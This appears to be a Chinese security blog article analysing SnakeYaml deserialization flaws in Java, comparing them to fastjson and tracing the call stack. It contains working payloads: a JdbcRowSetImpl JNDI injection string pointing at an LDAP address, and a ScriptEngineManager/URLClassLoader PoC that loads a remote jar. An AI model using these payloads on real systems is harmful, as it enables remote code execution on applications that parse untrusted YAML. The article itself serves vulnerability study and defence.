明明白白我的心
- 关注

前言
yaml简称yml,什么是yml,官方解释说,yml不是标记性语言,YAML 是一种人性化的数据序列化,适应所有编程语言的语言。
SnakeYaml就是用于解析YAML,序列化以及反序列化的第三方框架,解析yml的三方框架有很多,SnakeYaml,jYaml,Jackson等,但是不同的工具功能还是差距较大。
SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库, 它提供了dump方法可以将一个Java对象转为Yaml格式字符串, 其load方法也能够将Yaml字符串转为Java对象。那么在对象与字符串转换的实现中其实与FastJson和Jaskson等组件一样使用了(非原生)序列化/反序列化。
简介
User类
public class User {
String name;
int age;
public User() {
System.out.println("User构造函数");
}
public String getName() {
System.out.println("User.getName");
return name;
}
public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}
public int getAge() {
System.out.println("User.getAge");
return age;
}
public void setAge(int age) {
System.out.println("User.setAge");
this.age = age;
}
}
序列化与反序列化demo
public class Test {
public static void main(String[] args) throws Exception{
serialize();
unserialize();
}
public static void serialize(){
User user = new User();
user.setName("daneldeng");
user.setAge(25);
Yaml yaml = new Yaml();
String str = yaml.dump(user);
System.out.println(str);
}
public static void unserialize(){
String str1 = "!!User {age: 25, name: daneldeng}";
String str2 = "age: 25\n" +
"name: daneldeng";
Yaml yaml = new Yaml();
yaml.load(str1);
yaml.loadAs(str2, User.class);
}
}
简单的JNDI注入测试
public class YamlTest {
public static void main(String[] args) throws Exception{
Yaml yaml = new Yaml();
yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:1389/thc3no, autoCommit: true}");
}
}
由分析可知SnakeYaml利用方式与fastjson的利用方式相似,!!类似于fastjson中的@type用于指定反序列化的全类名。
漏洞分析
静态调试分析JNDI流程。
调用重载方法, 实例化StreamReader对象。
跟进 getSingleData方法,其调用 BaseConstructor#constructDocument方法并传入Node对象, 其包含了解析的YAML字符串信息。
这是封装了的node对象。
这是封装了的composer对象。
下面是跟随着一路封装Node对象的过程。
一直到跟进Constructor$ConstructMapping#constructJavaBean2ndStep中, property.set是最为关键的一步。
图中的getWriteMethod方法会返回属性对应的setter方法的Method对象(), 通过调用Method对象的invoke方法即实现了调用JdbcRowSetImpl的setAutoCommit方法。
后面就是基本的JNDI注入的过程了,就不详细分析了。
调用栈
connect:623, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:285, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:6, YamlTest
SPI
SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。
也就是,我们在META-INF/services下创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名,在加载这个接口的时候就会实例化里面写上的类。
SPI与ScriptEngineManager
poc
import org.yaml.snakeyaml.Yaml;
public class SPInScriptEngineManager {
public static void main(String[] args) throws Exception{
String payload = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:9999/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
执行结果:
总结
SnakeYaml和Fastjson有很多相似的点,都是通过反序列化调用特定类的特定函数来进行触发,并对函数的参数赋值,触发JNDI或者是使用SPI加载远程Jar包或class恶意类。
参考
https://paper.seebug.org/1657/#_1
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)